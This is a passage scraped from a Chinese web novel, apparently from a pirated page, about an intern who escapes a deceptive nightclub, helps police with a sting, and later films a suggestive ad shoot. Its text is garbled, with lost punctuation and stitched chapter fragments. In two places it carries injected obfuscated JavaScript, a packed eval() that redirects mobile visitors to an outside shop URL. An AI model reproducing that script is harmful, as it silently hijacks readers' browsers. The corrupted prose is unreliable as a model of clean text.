另一个男人上下打量着他,啧啧称奇:“没想到口罩下长了这么好看的一张脸,哭什么哭,你不知道有多少人羡慕你,哥这是在帮你呢。看上你的客人可是大老板,老是老了点儿但会疼人,今晚过去你就能飞黄腾达了,到时候你感谢我还来不及呢。” 季然用力握紧手机,仿佛这样就能给他带来勇气。 寒深知道他这边发生了什么吗?万一他来不及赶过来呢?至少他要拖一点时间。 季然抬起眼眸,整个人气质都变了。 “是吗?”他轻笑一声,露出一种谄媚又不屑的表情,“你说的这个大老板有多有钱?” “反正可以让你衣食无忧,”男人说完,催促道,“别磨叽了,走秀就要开始了。” 第一批走秀即将开始,整个后台乱成一锅粥,路过梳妆台时,之前给他指路的长发男美女抬头看了季然一眼。 季然莫名有些愧疚,他冲对方点点头,拿着衣服进了换衣间。 手机被他们收走了,季然不确定寒深能不能赶过来,但就算寒深不来,他也要找机会离开这里。 第一次逃跑时他走错了路,出洗手间时往右拐了,如果他往左边走,应该就能直达后门出口。 赵经理离开了,可另一个男人一直守在门口催促他,季然没办法,只得先换上了女仆装。 “化妆师呢?化妆师去哪里了?”男人找不到人,扯着嗓子在屋内喊。 “刁哥,”不远处,男美女抬头喊他,“我的化妆师马上好了,但还有点儿小问题,你过来帮我一下。” “什么事啊?”刁哥虽然嘴上抱怨,但还是听话走了过去。 或许只是巧合,但这人竟然又帮了他。季然感激地看了对方一眼,趁着没人注意从后门逃走了。 高跟鞋太碍事了,季然脱 掉鞋子提在手里赤脚穿过长长的走廊然后在分叉时往左拐。 空气变得寒冷起来地板冰凉证明离出口很近了。 前方走廊尽头出现一道小门季然用身体把门撞开哗地一声响冷风夹杂着雨滴打在他脸上季然被冻得浑身发抖却忍不住开心起来。 他终于离开了那里! 季然还没来得及高兴突然被人一把逮了过去他本能地挣扎起来—— “嘘别怕 熟悉的声音让季然一愣他有些茫然地抬起头对上了寒深沉静的眼。 “Samuel?”季然呆呆地看着这一幕几乎不敢眨眼。 注意到他衣衫单薄寒深脱下大衣给季然披上抱着他避开人群上了车。 车内暖气开得很足地上还铺着柔软的羊毛地毯季然赤脚踩在上面有些后悔把地毯弄脏了。 他无措地蜷缩着脚指意图想减轻自己的污染范围。 “还好吗?”沉而缓的嗓音落下寒深又翻出一张毛毯递给他。 季然用毛毯裹紧身体低头很轻地“嗯”了一声。 他想要向寒深道歉想和他解释亦或是表达感谢。 可一张嘴声音就颤抖起来然后整个人都开始发抖。 “我……我……” 季然死死抓着毛毯真正脱离危险他才意识到原来自己比想象中还要害怕。 他甚至不知道自己是怎么离开的刚才差点儿就出不来了。 寒深不知从哪儿拿了杯热水过来又对他说道:“先缓缓不用急着解释。” 季然抱着热水小口小口地喝着。又过了几分钟身体终于逐渐回温也逐渐恢复了神志。 寒深:“好些了吗?” 季然点头声音里带了些鼻音:“好多了谢谢您。” 说这话时他赤裸的双脚踩在地毯上因为害怕弄脏地毯几乎是悬空的脚趾从破洞的黑丝里露出无措地蜷缩着依稀可见被冻红的痕迹。 继续往上是一双暗示意味浓厚的吊带黑丝袜寒深本来看不见的但因为车内暖气升高季然似乎有些热了毛毯从肩膀滑落无意识露出了下方的女仆装。 裙子短得要命只到大腿根部下面两根黑线连着黑丝裙摆和黑丝中间露出四五厘米的大腿被丝袜勒出一圈软肉是二次元里流行的绝对领域。 这让他看起来年轻性感又廉价。 仿佛一件可以随意亵玩的玩物。 寒深从不关心员工的私人生活此刻却无端产生了一股愤怒。 不知所以 他按下心头的情绪冷声道:“把毛毯盖上。” 季然低头一看这才发现毛毯不知什么时候滑了下去让他那件低俗的女仆装完全暴露在了寒深冰冷的视线里。 “对、对不起。”他有些狼狈地捡起毛毯遮住身体毛毯下缘双脚无措地交叠。 寒深目光往上移到他脸上语气冷冽:“我希望你能解释一下你为什么会出现在这里。” 季然太敏感这种语气变化了几乎瞬间进入警戒状态。 他低下脑袋干脆什么都不说了。 寒深呼吸沉了沉感到了一股久违的怒意。 季然的沉默比想象中还要能激怒他。 他本能地想要管教季然却碍于没有正当身份。 寒深压抑着自己的怒火:“你知道这里是什么地方吗?就敢一个人过来玩?” 季然依旧低着头保持沉默。 这越发激怒了寒深以至于他再次开口时语气不自觉带上了训斥的意味:“告诉我你为什么要来这种地方?把自己弄成这幅鬼样子!如果我没有碰巧打电话过来你知不知道自己会面临什么?难道你的父母从来没有教过你男孩子在外要保护好自己吗?” 寒深比想象中还要生气。 从接到电话到开车过来的那半个小时里他几乎每一秒都处于不安中。 尤其是当他在途中被季然挂断电话时这种不安像膨胀的气球一样被迅速放大。 他明明说过自己会过来季然却偏偏一意孤行选择了风险最大的行动。 以至于当他看见季然衣衫不整地逃出会所时寒深先是松了口气接着便是愤怒。 这种愤怒不是向外爆发更多是向内的攻击让寒深清晰地意识到他不被季然所信赖。以至于在紧要关头季然选择挂断电话自己逃离也不愿意向他寻求帮助。 寒深习惯掌握一切此刻却感受到了不安。 他清楚地意识到有什么东西失了控。 不止是当下的现状还有他内心中更深层次的东西。 这让寒深想要重新掌握当下的情境渴望找回自己的主场。 所以他失了风度一而再再而三地追问强势地想要让季然解释一切。 偏偏季然什么都不说。 他仿佛已经习惯承受别人的怒火习惯在冲突发生时保持沉默。 “谢谢您过来接我,很抱歉给您带来了麻烦,”季然推开车门,淡声道,“我先走了……” 他甚至没穿鞋。 寒深一把抓住季然手腕:“要去哪儿?” 他们体型和力气都是天差地别,季然一下被他拽得摔回了座椅。 摔得不疼,但是很屈辱。 季然歪歪斜斜地倒在轿车后座,感到了一股莫大的委屈。 兼职被骗进夜场他已经够倒霉了,没想到现在还要被人骂。 “你还要干什么?”季然突然挣脱寒深的手,突然就爆发了,“骂人就算了,骂完了还不让人走?” “我只想让你知道事情的严重性,”寒深语气恢复了平静,“这种地方不是正经的娱乐场所,你想玩有很多健康又有趣的地方。” 寒深竟然以为他是过来玩的! 在他眼里,自己就这么放荡的人吗?! “谁过来玩了?”季然越说越委屈,回忆着此前的种种,终于忍不住红了眼眶,“我明明是来兼职当模特,谁知道他们是找人陪酒!” “兼职?”寒深眼中闪过一丝错愕,“你这么缺钱吗?” 季然虽然是个实习生,但实习工资还算优渥,而且上个月才涨了双倍工资,完全足够他衣食住行。 就算孩子花钱大手脚,那也还有家长补贴,不至于让孩子来这种地方兼职还被骗。 “家长补贴?”季然冷笑一声,“你猜我为什么这么缺钱?” 他已经懒得装了,也疲于维护自己的优秀形象,甚至不在乎自曝其短。无所谓了,反正他家庭本来就很差,他也没想过寒深会尊重他。 季然告诉寒深:“我爸妈都是农民工,我实习第一个月就要给家里打钱了。年底他们要从家乡过来玩儿,花销都是我负责,所以我才来这里做兼职。” 寒深突然变得很安静,这种安静中混杂着震惊、难以置信、还有自责。 他一度以为季然来自中产家庭,是那种集全家力量、被捧在手心培育出来的孩子。 所以他理所当然地接受了季然的优异成绩,温和的性格,吃苦耐劳的品质,甚至是出色的工作能力,还觉得这都没什么大不了的。 精英本就该如此。 可他此刻却得到了一个截然不同的答案。 很难想象这样贫穷落后的家庭,这样目光短浅的父母,能养出如此优秀的孩子。 那已经不能称之为培养,季然能走到今天,是一个堪称奇迹的事迹。 寒深心头 情绪复杂,他伸手想摸摸季然脑袋,但最终忍耐住了,只是说:“抱歉,我不知道这些事情,我不该随意批评你。” 季然抱着膝盖,没吭声。 他没想到寒深会和他道歉。 他在沪市无依无靠,唯一熟悉的人就是寒深这个领导,从某种程度上来说,季然确实把他当做了值得信赖的长辈。 但现在季然又意识到,寒深和长辈不同。 长辈总是自上而下的,但寒深是平等地和他交流,甚至愿意向他道歉。 季然反而有些不好意思起来,他低头看着自己脚尖,摇头说:“没关系,反正我都习惯了,而且我知道你只是担心我。” 真的太乖了。 他甚至没哄他,他就自己原谅寒深了。 还能反过来安慰他。 家族里能出这样优秀的一个孩子,应该是整个家庭托举,共同把日子过好。 季然的父母却目光短浅,孩子刚展开翅膀就全都跳上来,像是缫丝花一样,要把他拖回泥坑。 寒深不忍见他陷落,破例多说了一些。 “我知道贸然评价别人的家庭很不礼貌,但你当前的首要任务是自己站稳脚跟,只有你过好了,你才能让家人过得更好。” 季然当然也知道这个道理。 上高中后他就隐隐知道,自己的家庭并不正常,大部分父母都不会这么对待自己的孩子。 后来网络发达,季然也偶尔会刷到一些控诉原生家庭伤害,逃离断亲的例子。 他当然也可以拒绝,甚至是一走了之。 可每当他产生这样的念头,季然又于心不忍起来。 父母对他不好,可他们自己也过得很糟糕。 他们似乎早已习惯了苦难。 季然小时候爸爸在工地上受伤,缺了一截手指。事情已经过去了几个月,季然却对此毫不知情,直到过年他们回家,季然听见父亲用若无其事的语气谈起,甚至还故意用剩下的半截肉桩逗他。 季然被吓得想哭又不敢哭,后来很长一段时间里,他都不敢看父亲光秃秃的小手指。 妈妈的生活也不好过,当年生他时落下生育损伤,生二胎又大出血,现在身体都不怎么好。 季然去过他们在外打工的住所,一个破旧的单人间,房租200块,简陋得要命。 爸妈太苦了,他好不容易读书读出来,无法做到自己独自享受。 而且父母的童年比他还要差许多,爷爷奶奶外出务农,就把几个小孩儿用绳子拴 起来绑在家里。那时他们经常吃不饱饭,动辄被打被骂,小小年纪就要干活儿。对他们来说,孩子是生产力,也可以是消耗品。 他父亲就在那样的环境里长大。 原始又魔幻,但这就是真实。 虽然父母对季然不算好,但也没有坏到足以让他置之不顾,季然无法心安理得的责备他们。 对季然来说,家庭关系不是非黑即白,更像是时好时坏的灰色地带。 至少现在,季然想把关系往好的方向引导。 所以他没有拒绝父母过来玩的要求,虽然有些困难,但他不想让他们失望。 至于寒深说的那一番话…… 虽然季然无法立即执行,但不得不承认,对方的建议非常有道理。哪怕是季然自己,偶尔也想从那种沉重的家庭里离开,喘上一口气。 “谢谢您的提醒,季然点头,语气真诚道,“我会认真考虑的。 寒深本来还想再说些什么,车外突然响起一阵脚步声,一群穿西装的大汉走了过来。 季然身体顿时一僵,仿佛一只应激的猫迅速缩进了毛毯里。 是会所里的保安。 寒深说:“我带你离开。 季然却伸手抓住了他手腕。 寒深以为他是害怕,安抚道:“不会有人追上来。 季然却说:“我想报警。 寒深沉默数秒,点头道:“可以,交给我处理。 季然点点头,又问:“不会麻烦你吗? 寒深摇头,打了个电话。 没过多久,一辆黑色牧马人开了过来。车窗半降,一个穿着皮衣的男人对他们说:“寒哥,准备好了吗?今晚一起玩儿? 寒深这才告诉季然,这是他刑警朋友,他要配合他们的潜入行动。 因为寒深富二代身份不容易引起怀疑,对警方的潜入是一层担保。 季然有些紧张:“那你不会遇到危险吗? 寒深:“他们会保障我的安全。 “可是……季然有些难受,如果不是他要报警,寒深也不会遇到危险。 他问寒深:“有我能帮上忙的地方吗? 寒深:“没有。 皮衣男:“我们确实还缺个人。 “蒋奕。寒深声音沉了沉。 “当然,全凭自愿。蒋奕又说,“这主要是配合你,不然你就得找个真少爷。 “你不用去。寒深告诉季然。 季然沉默了一会 儿,又问:“会有生命危险吗?” 蒋奕:“一般不会。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782721|145072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 季然下定决心:“那我去。” 他有些害怕,但他更想力所能及的做一些事情。 寒深没再说话,蒋奕就把他们计划都告诉了季然。 季然的任务很简单,重新回去做他的夜场少爷,配合寒深玩一场戏。 “如果计划顺利,你不会遇到危险。”蒋奕告诉季然,“进去后寒哥会把你拍下来,你只需要配合他做一些寻欢作乐的游戏。” 寒深最终没再说什么,只是道:“别冲动,保护自己。” 季然点点头,避开人群,重新回到了逃离的那扇侧门。 检查的人已经来过了这里,此时四周静悄悄的。 季然解开毛毯还给寒深,露出了身上那套过于暴露的演出服。 雨一直在下,天气变得更冷了,赤脚踩上去仿佛在踩冰。 这个过程中寒深一直注视着他,仿佛随时能允许他后悔。 季然却只是看了他一眼,就穿上高跟鞋走了进去。 回到后台,季然找了个拉肚子的借口应付工作人员,对方看了他一眼,又让化妆师给他化妆。没过多久,就到季然他们上台了。 走秀的过程有点儿恶心,季然不太愿意回想,好再他戴着口罩,多少能阻挡一些冒犯的视线。季然等着寒深拍下他,再继续下一步的行动。 却不料刁哥突然带了个中年男人过来,说要把他引荐给对方。 季然有些慌,又听工作人员说:“就是程爷点的你,他特别喜欢你,托我们把你请过来,可是费了大功夫。” 季然突然反应过来,原来这家会所骗他来兼职不是意外,是有人钦点他? 他开始感到恶心。 季然不想和对方说话,刁哥却说:“好好陪程爷玩儿,程爷虽然老了点,但从不乱搞,养人就跟养儿子似的,你被他看上是你的福气。” 对方向他伸出右手,季然不想碰他,后退了一步,刁哥却抓着他的手走了过去。 “啪——” 一巴掌拍到刁哥手背,一个穿着豹纹西装的男人说:“都让你温柔点儿,怎么就是学不会呢?” “老板?”刁哥缩回手,表情瞬间惶恐。 “还不把人放开,”老板走了过来,往旁边微微让开,对一个年轻英俊的男人说,“寒总,这就是您点的人。” 季然松了口气,寒深到了。 接下来季然没再受到骚扰,他以为事情这样就结束 了,到老板安排他和寒深过夜。 虽然之前就猜到过会有这种可能,但真正发生时季然还是有些忐忑。他跟着寒深上了二楼。 卧室里有监控和录音,季然也不敢说话,只得尽力配合寒深的动作。 季然被寒深按到墙壁上,后背抵到了一个硬硬的东西,“啪”的一声,他们激烈地动作蹭灭了房间里的灯。 季然有些头皮发麻。 · “他们现在怎么样了?”监控室,老板对着屏幕问。 “安排在了一号房和二号房,”赵经理指了指屏幕,“一号房的孔雀已经开始办事,八号房小兔子和客人进了浴室,暂时没有进一步动作。” 一号房只留了一盏夜灯,视频画面昏暗,隐约可以看见孔雀坐在客人身上,声音和画面都很激烈。 不像是演的。 八号房那边还在洗澡,水汽模糊了玻璃,只隐约看见他们在互相接触。有演的可能,但寒深一看就是那种喜欢慢条斯理折磨人的类型,切入慢一些倒也可以理解。 老板想了想,问经理:“我记得孔雀和小兔子都是新来的?” “孔雀已经参加过几次表演,不过这还是他第一次过夜,小兔子确实是今天才过来的。”赵经理说完,忐忑道,“您怀疑他们?” “还不确定,”老板看着屏幕,摇头说,“只是感觉有些奇怪,时机太巧了。” 赵经理想了想,又补充:“孔雀背景我不太清楚,不过小兔子是个网红,一个资深客人指名要的,我们花了好大力气才把人弄进来,他应该没有问题。” 老板沉思片刻,拍板决定:“你守着监控,如果今晚他们没做到最后,那其他客人全部取消过夜。” 经理有些迟疑:“可我们大活动半个月才有一次,客人们已经等得够久了,这次取消就得下个月了。” “一个月算什么?”老板摇头,告诉对方,“我们做的是长久生意,谨慎一点总没错。” “我明白了,”赵经理点头,又问,“那如果他们办事儿了呢?” 老板看着屏幕上的监控,沉默了数秒才说:“那活动照常进行。” · 8号房间陷入黑暗,镜头里只有两道模糊的身影。 赵经理聚精会神,看得非常仔细。 很快,大床上的两道身影交叠,然后季然发出了一声尖叫。又乖又可怜,似乎有点儿舒服,但更像是被人欺负惨了。 “你太紧了,”寒深声音也好不到哪里去,“再放松一点。” 季然是真的快哭了:“我倒是想放松,但是真的太疼了,身体完全不受我的控制…… 寒深不说话,一点儿也不怜香惜玉地动了起来。 季然就惨了,叫得一声比一声可怜,最后甚至带上了哭腔。 听得赵经理都脸红了,他把结果汇报给老板,那边沉默数秒,宣布过夜活动照常举行。 · 季然叫得嗓子都哑了。 寒深在床上给他做了一套全身按摩,甚至连脚底板的穴位都照顾到了。季然身体本来就差,久坐后又邦邦硬,再加上从来没做过按摩,基本是按哪儿哪儿疼。 偏偏寒深这人下手特别狠,他尤其爱停在季然最疼的穴位,季然叫得越惨,他下手越重,不管季然怎么求饶他都不松手。 在关灯后的这一个小时里,季然的惨叫声几乎就没停过。 前期他还能说话,后面就叫得嗓子都哑了,只能发出小猫一样的哼唧声。 第一轮按摩结束,季然已经是精疲力竭。 他脸趴在枕头里,小声询问身后的寒深:“可、可以了吗? 寒深没说话,炽热的手掌按着他后腰,呼吸比以往都要粗沉。 季然听不得这个声音,正准备躲开,寒深就俯下身来,在他耳边说:“再来一次。 · 监视器里的画面丰富起来,一块块黑暗的屏幕被点亮,就像是过去无数个夜晚那样,人们在夜晚中寻欢作乐。 赵经理有点儿乏了,这些视频看得太多,已经完全激不起他的兴致,他现在只想下班回家吃碗热面,再洗个热水澡好好儿睡一觉。 就等天亮了…… 赵经理躺在椅子上打起了盹。 “砰—— 不知过了多久,赵经理耳边突然传来一声巨响,有人举枪冲进房间:“举起手来!不许动!! 抓捕行动开始了。 演戏就要演全套,季然和寒深也被带回了警察局。不过他们还是有一点儿优待,被安排在了一个四座小轿车里。 这次扫黄抓捕了两百多号人,直接把分局变成了菜市场。打着分开审讯的由头,季然和寒深被女警带到一个房间里,对方解开了他们的绳子,还夸了句绑得挺好。 离开前,女警告诉他们,一会儿冷警官会过来,见完对方他们就能回家了。 “冷警官?季然一时间没有反应过来。 话音刚落,房门就被人推开,一个穿着警式西裤、浅蓝衬衫的男人走了进来。他有着一双 第 22 章 这该不会是虎鲸的... 第22章这该不会是虎鲸的 但这可是五万块,而且虎鲸都不怕他怕什么?对方可是千万大网红肯定比他更不想拍亲热戏。 季然顿时心安理得起来。 拍摄时间定在周六季然从周二就在祈求自己不要加班。 直到周五下午负责合成智能科技的VP突然安排他周末出差。 实习生没人权,谁都可以安排他们做事。 季然脾气好,之前都是乖乖同意 对方:“什么事?不能换个时间做吗?” 季然:“……不太能。” 对方:“年轻人还是要以工作为重,不要耽于享乐。我让行政给你订机票明天一早出发。” 季然要爆炸了他找了好几个理由对方都强硬地拒绝了他。就在他打算冲到对方面前直接battle时,这人又突然告诉他算了。 季然:? 那人:“早说你是忙Samuel的事啊,我也不会安排你去京市了。” 季然刚落下来的心脏,又被这句话提了上去。 寒深要安排他做什么事? 自从经历了上次的会所事件后,季然对这位上司的感情就变得复杂起来。 季然在会所里见到了寒深的另一面,他觉得他们关系亲近了一些,但从某种程度上来说,又似乎变得更远了。 生活中的接触让季然意识到他和寒深完全是两个世界里的人。只是在公司里上下级关系让他错以为他们属于同一个世界。 如果不是这份工作他这辈子可能都无法接触到寒深这样背景的人,他们差得太远了。 季然和寒深都没提那个周末的事情,除了必要工作,也在尽量避免私下接触。 但这次明显躲不下去了,季然主动询问寒深。 “没有,”寒深却告诉他,“工作临时取消了。” 加班临时取消了? 季然试图从他脸上发现异常寒却依旧是那副冷淡威严的表情礼貌又疏远地问:“还有事?” 季然抿了抿唇试探道:“为什么取消了?” “私事”寒深言简意赅吩咐道“你可以出去了。” 季然离开办公室罕见地准点儿下了班他早早就上了床却怎么也睡不着。 季然看着头顶的天花板思维有些发散:这次拍摄应该不是骗子吧?商家如何能保证他不露脸? 难道要全程戴口罩? 而且…… 季然翻身夹住棉被忍不住想他会看见虎鲸的脸吗? 季然把他最喜欢的那款香水喷满房间抱着被子睡着了。 第二天上午季然戴上口罩去了约定地点。 拍摄地点在Soli-lunar家居馆是一栋3层别墅别墅划分出客厅、厨房、卧室等不同场景以此出售商品。 参与拍摄的是一个叫斑点的摄影博主她本职是时尚摄影师拍过不少明星后来出来单干成为独立摄影师。季然很喜欢斑点的作品她色彩运用得很舒服善于从日常中发掘闪光点画面充满情绪与张力非常动人。 季然曾经模仿过她没想到在这里见到了本人。 季然有些心动正犹豫要不要过去打招呼一个穿着黑色西服套装的女人走了过来:“请问你是上班哪有不疯的?” 季然说是。 女人向他伸出右手:“你好我是和你对接的Soli-lunar公关你可以叫我Rita。” 太干练了季然瞬间后背发麻一秒钟又回到打工状态。 “你好”他和Rita握手说“你可以叫我不上班。” Rita笑了起来:“很好的寓意。” 距离拍摄还要一会儿Rita问他想在外面看看还是去休息室。 季然本想找摄影师打招呼但对方太忙他不好打扰人工作于是说想去休息室。 他有些紧张独自在小房间能更好地放松。 Rita给了他一瓶水说拍摄前会进来叫他。 “等等。”季然从沙发上站了起来。 Rita:“还有什么事?” 季然有些不确定再次向对方确定:“视频可以保证我不露脸吗?” “可以的”Rita告诉季然“不仅是你虎鲸也不想别人看到他的样子请放心我们镜头不会拍到你们正脸会尽最大努力保证二位的隐私。” Rita离开了季然翻看台本打发时间。 台本他看了无数次闭着眼睛都能背出来可现在不看点儿东西他紧张。 半个小时后Rita进来提醒季然准备拍摄季然换上少年感很重的卫衣戴上口罩来到了客厅。 灯光已经布置好了摄影师正在指挥人进行走位 沙发前面的空地上侧躺着另一个 工作人员还是属于季然的地方。 拍摄就要开始了季然目光环视周围没有发现类似虎鲸的人员。 倒是有个低马尾女孩儿拿着一根丝巾过来说要给他做造型。 他这个角色出场是被绑着眼睛的。 季然也知道这一点配合对方弯下了腰。 女孩儿把丝巾绑在他眼睛上季然就什么也看不见了。 失去视线让他有一瞬的慌乱他只能通过听觉辨认。 “你有黑暗恐惧症吗?”Rita问他。 季然说没有。 “那就好”Rita继续道“突然失去视觉可能有些难受你先习惯一下如果感到不舒服拍摄过程中随时可以叫停我们会尽量配合你。” 季然有些意外他还以为这样的强势甲方会更严厉但Rita只是看起来严厉并不会因为他是乙方就为难他。 摄影师还在做最后调试季然打算先熟悉一下方位和家居摆设。 他在周围小心地行走着蒙上眼睛后口罩就变得闷热起来季然把口罩拉倒鼻子下面呼吸…… 继续往前时他突然撞上了一堵温热的墙季然愣了下这才意识到自己撞到了人。 “抱歉。”他连忙后退一步却不习惯在黑暗中后退身体失去平衡。 快要摔倒时他后腰突然一紧:“小心。” 面前的人伸手搂住了他。 季然脸颊靠近他胸膛闻到了对方身上传来的辛辣的皮革气味。 很陌生的味道带有一股强烈的冲击性用这种香水的人性格也相当不好惹。 “对不起。”季然再次道歉他什么也看不见伸手想取下眼前的黑纱对方却伸手捂住了他的眼。 眼前的材质柔软冰凉不像人类肌肤应有的触感更像是被什么软体动物遮蔽了眼睛。 思维不受控制地发散开来季然身体泛起细细密密地恐惧。 他伸手抓住对方手掌声音发颤地请求:“您好请别这样……” 话音刚落男人已经松开他转身往前走去。 季然心跳漏了一拍 有人告诉季然那就是虎鲸。 没过多久工作人员过来通知季然准备拍摄季然重新蒙上眼罩被对方带到了客厅又有人过来说要绑住他的手。 季然之前就知 道这件事了,配合对方伸出了双手。 为了符合角色安排,季然穿了一件廉价款卫衣,松松垮垮的衣袖下露出两根细白的手腕。 “那我开始了啊,女孩儿看了眼,有些紧张,“你如果不舒服及时说。 季然说好,女孩儿便拿起丝带,缠住了季然的手。 女孩儿似乎是第一次做这种事,胆子比季然还小,似乎是害怕弄疼他,下手很轻,丝带松松垮垮缠在他手上,还不停地问他感觉怎么样。 季然有点儿想笑,说:“可以再紧一点。 “啊啊,好的。女孩儿点头,连忙拉紧丝带,手腕传来很明显的禁锢感,又有点儿太紧了。 “你绑得太紧了。一道陌生冷漠的声音响起,“他手红了。 “啊啊?对、对不起。女孩儿有些慌乱的低下头,“那我重新来过。 对方没再出声,季然有些好奇,又不太好问这人是谁。 手腕上的丝带绑了又拆,过了一会儿,季然听见女孩儿问:“这样可以了吗? 季然以为她在问刚才那个男人,但等了一会儿都没听见回答,这才意识到对方是在问他。 “可以了。季然说。 “那就好,女孩儿松了口气,心有余悸,“差点儿被虎鲸大大骂了。 季然心头微动:“刚才那人是虎鲸? “是啊,女孩儿点头,“不过他很快又走了。 说完,女孩儿扶着季然到旁边坐下,又交代道:“你先在这里等一会儿,马上就可以开始了。 季然说好,又有文案策划过来给他讲剧情。 这5万块果然不是那么好赚,季然坐直身体,认真听了起来。 策划:“此时你已经被囚禁了三天,突然被带到新环境下,肯定会非常茫然,害怕。但你又有一丝好奇,希望能在新环境里改变现状,这种感觉明白吗? 季然点点头,又听对方说:“至于互动,你们随意发挥就行,我们先看看效果。 季然说好,心里却有些没底。 他完全不擅长表演,随意发挥?那效果更糟糕了。 策划:“那我们先试第一遍。 摄影师:“OK。 不知是谁方起了音乐,拍摄开始了。 季然心情忐忑地被人丢到地毯上,他什么也看不见,本能地想找一个可以遮蔽的地方。 季然四处摸索,后背靠近了一个硬硬的东西,似乎是茶几,他迅速躲到了茶几背后。 周围静的可怕,没有人说话,连工作人员都没有发出一丝声音。 按照剧情提示,虎鲸此时应该坐在沙发上看他,可沙发在哪个方向?对方怎么还不出声? 季然紧张得心脏怦怦直跳。 又过了好几秒,身后突然传来一阵沉闷的脚步声,虎鲸过来了。 然后是一阵衣物摩擦声,紧接着季然下巴一热,男人伸手挑起了他的下巴。 季然被迫扬起脑袋,一盏柔光灯从侧面打量他身体,让他脸颊和脖颈呈现出白玉一般的质感。脆弱的喉结在空气中无助地滑动。 墨镜之下,虎鲸的眼神暗潮汹涌。 整个客厅里都没有人说话,摄影师切换镜头焦距,巨细无遗地记录下这一幕。 监看视频里,虎鲸一只手捏住男孩儿下巴,另一只手往上靠近眼罩。众目睽睽之下,虎鲸拇指顺着季然鼻梁,伸进了他眼罩。 眼皮被毫无预兆地触碰,季然眼睫不受控制地颤抖起来。 怎么回事?剧本里明明没有这个动作。虎鲸要干什么?难道要揭下他的眼罩?! 不行,他不能在这里被人看见。 季然呼吸一滞,正欲反抗,却发现虎鲸的动作停在了这里。 “卡。”然后策划叫了暂停。 虎鲸的手迅速从他身上离开。 季然这才松了口气,双腿有些发软地跪在地毯上,双手撑着地面,平复着自己紧张的呼吸。 “第一幕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782722|145072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结束了,大家先休息一下。”策划说完,过去看摄影师的监看器,“这段拍得怎么样?” 季然看不见画面,只能听见摄影师说:“画面很漂亮,就是这里走位有一点挡了,稍微侧过来会好一些。” “是有点儿,这段再拍一次吧,”策划摸着下巴,过了会儿又说,“感觉互动停在这里差了点儿意思,冲突不够强烈。而且我们客厅的主要卖点是沙发,现在的话重点就落到茶几上了……” 两个女人在一旁讨论,季然这边却静得可怕。 他能感觉到虎鲸并没有离开,却并不知道对方在哪里,在做什么。 可虎鲸却能把他看得一清二楚,这种不平等的视角让季然有些焦躁,他低头蹭了蹭,把蒙眼布稍微蹭松了一些,透过鼻梁和眼睛的缝隙看到了一丝光影。 季然看到了一双黑色尖头皮鞋,非常棱角分明的款式。红底,带着夸张的骷颅花纹,季然第一次看见这么奇怪的鞋子。 继续往上,能看见被黑色袜子包裹的脚踝,笔挺的西装裤缝 。 他似乎坐在了茶几上,正翘着二郎腿,大腿肌肉被挤压,撑满了西装裤。 再往上是胸腰部位,高级西装是立体裁剪,会有一个微妙的弧度托住胸膛,显得虎鲸的胸肌格外大。 虎鲸这个角度看起来太像寒深了,季然莫名有些口干舌燥。 再想抬头时,虎鲸的手伸了过来,重新替他绑好蒙眼布,季然眼前再次归于一片黑暗。 他发现自己在偷看吗?季然闹了大脸红,乖乖低下头,再也不敢有一点儿小动作。 又过了一会儿,策划过来告诉虎鲸:“刚才这段您发挥得很好,但是太绅士了,你的动作还可以再粗暴一点。 季然:? 还要再粗暴一点? “小班你觉得ok吗? 季然还在犹豫,摄影师斑点就说:“现在确实有点儿憋屈,但第三幕有你扇虎鲸耳光的剧情,你可以到时候打回来。 季然被她逗笑了,更何况,他本来就没有打算拒绝。 第二次拍摄开始了。 这部分剧情是接在虎鲸要掀开他蒙眼布这里,策划让季然抓住虎鲸的手,以此反抗。 季然照做。 却不料虎鲸顺势提起他的身体,把季然扔在了沙发上。 季然有些发懵,挣扎着用手肘撑起身体,还未来得及坐起,呼吸突然一紧,虎鲸掐住他的脖子,季然身体被迫陷入沙发中。 紧接着,虎鲸的身体压了下来。 这一套动作看似复杂,但其实发生得非常迅速,前前后后不超过一分钟,季然就经历了如此的大起大落。 虽然明知这是演戏,但当他真正陷入这种境地时,还是本能地感到恐惧起来。 一个几乎是陌生的男人正压着他的身体,另一只手掐住他脖子,就像是落入蛛网的猎物,季然完全毫无反抗之力。 只能眼睁睁看着肺部的空气减少,大脑因为缺氧产生一片眩晕,季然脑袋后仰,不由自主地张开嘴唇呼吸。 如果忽略当事人的感受,这其实是相当唯美的一幕。 监看屏幕里的画面暧昧柔和,因为摄影师风格使然,不仅不会让画面显得暴力,反而透出了一股浓郁的性张力。 策划走到他们跟前,对虎鲸做了一个往下的动作。 虎鲸注意到她的手势,呼吸深了深。 季然对此毫不知情,他所有 注意力都在和虎鲸的对抗中消耗殆尽。 不知是不是他表现得太难受,没过多久,季然就察觉自己脖子上的压迫减轻了。他以为这是拍摄结束的信号,却不料下一刻,他身体突然感到一股明显的重量。 虎鲸做出一个类似沉腰的动作,下腹牢牢贴上了季然的身体。 季然瞬间头皮发麻,因为他感到有什么东西在明显的变热,变硬。 这该不会是虎鲸的【——】 季然脑子有些懵,虽然他没碰过别人的,但至少见识过自己身上的。 不会吧?明明才刚碰到而已,还是说虎鲸一直就是这样……big? 季然想起了自己早上出门前吃的那根香蕉,超级大,哪怕剥了皮尺寸也很夸张,不软不硬,尖端微微翘起弧度…… 